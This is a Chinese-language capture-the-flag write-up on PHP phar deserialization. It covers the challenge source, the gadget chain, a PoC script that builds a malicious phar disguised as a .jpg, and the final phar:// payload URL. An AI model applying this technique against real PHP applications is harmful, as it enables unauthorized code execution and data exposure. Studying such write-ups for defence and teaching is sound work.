phar反序列化

引入

https://paper.seebug.org/680/

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php 
include('flag.php');
class hello
{
    public $name;
    public $welcome;
 
    public function __construct($name)
    {
        $this->name = $name;
    }
 
    public function simple_hello()
    {
        $this->welcome = "hello ".$this->name." welcome to ctf!"."<br/>";
        echo $this->welcome;
    }
 
    public function __destruct()
    {
        $this->simple_hello();
                echo 'test';
    }
}
class gogogo
{
    public $one;
    public $two;
 
    public function __toString()
    {
        $this->one->get_flag();
        return '0';
    }
}
class nice
{
    public $file;
    public $flag;
 
    public function __construct($flag, $file)
    {
        $this->flag = $flag;
        $this->file = $file;
    }
 
    public function check()
    {
        chdir('upload');
        if(file_exists($this->file.".jpg"))
        {
            echo 'file exist'."<br/>";
        }
        else
        {
            echo 'file not exist'."<br/>";
        }
    }
 
                public function get_flag()
                {
                      echo $this->flag."<br/>";
                }
}
@$a = $_GET['filename'];
$e = new nice($flag, $a);
$e->check();
 
?>

刚刚拿到这道题的时候,发现存在多个PHP魔术方法,明显是反序列化;
但进一步审计发现并没有任何userialize的地方,经过搜索发现存在一种名为phar反序列化漏洞,即在不利用unserialize()函数的情况下,利用文件操作函数(file_exits、is_dir等)实现反序列化。



首先分析一波phar文件的结构:phar本质上是一种压缩文件,其中`meta-data`部分需要被序列化之后存储,利用该漏洞的核心便是当文件操作函数结合`phar://伪协议`时会将phar文件中的`meta-data`部分反序列化,这时我们构造的序列化攻击链就会发挥作用 其次,phar文件结构中还要添加被压缩的文件名(ex:test.jpg),之前由于一直未注意到这个问题导致题目卡了很长时间。。。。

phar文件结构



经过以上分析,我们可以写一个php文件(该文件中已将序列化构造链传到meta-data,本体攻击链构造较为简单,就不详述),访问该php文件会在目录下生成一个phar文件:

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
 
class hello
{
    public $name;
    public $welcome;
    
    public function simple_hello()
    {
        $this->welcome = "hello ".$this->name." welcome to ctf!"."<br/>";
        echo $this->welcome;
    }
 
    public function __destruct()
    {
        $this->simple_hello();
                echo 'test';
    }
}
 
class gogogo
{
    public $one;
    public $two;
     
 
    public function __toString()
    {
        $this->one->get_flag();
        return '0';
    }
}
 
class nice
{
    public $file;
    public $flag; 
 
    public function get_flag()
    {
        echo $this->flag."<br/>";
    }
}
 
$he = new hello();
$he ->name = new gogogo();
$he ->name -> one = new nice();
 
 
 
 
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($he);
$phar -> stopBuffering();
 
?>


生成`phar.phar`文件之后,将其后缀名改为.jpg直接上传,上传后在存在各种类源码的ctf.php页面传入fiename参数。(ex:`ctf.php?filename=phar://upload/phar.jpg`) 本来以为这道题就这样了,flag就会出来了,但怎么尝试上传flag就是不会回显,心态也有点崩。。。 后经大佬提示,源码中47行check()函数:
1
2
3
4
5
6
7
8
9
10
11
12
public function check()
    {
        chdir('upload');
        if(file_exists($this->file.".jpg"))
        {
            echo 'file exist'."<br/>";
        }
        else
        {
            echo 'file not exist'."<br/>";
        }
    }

发现首先会将目录切换到upload并且会在file属性后拼接一个“.jpg“,这样的话,就需要将原来添加的压缩文件名“test.txt”改为“test.jpg”以配合拼接
最终PAYLOAD:ctf.php?filename=phar://phar.jpg/test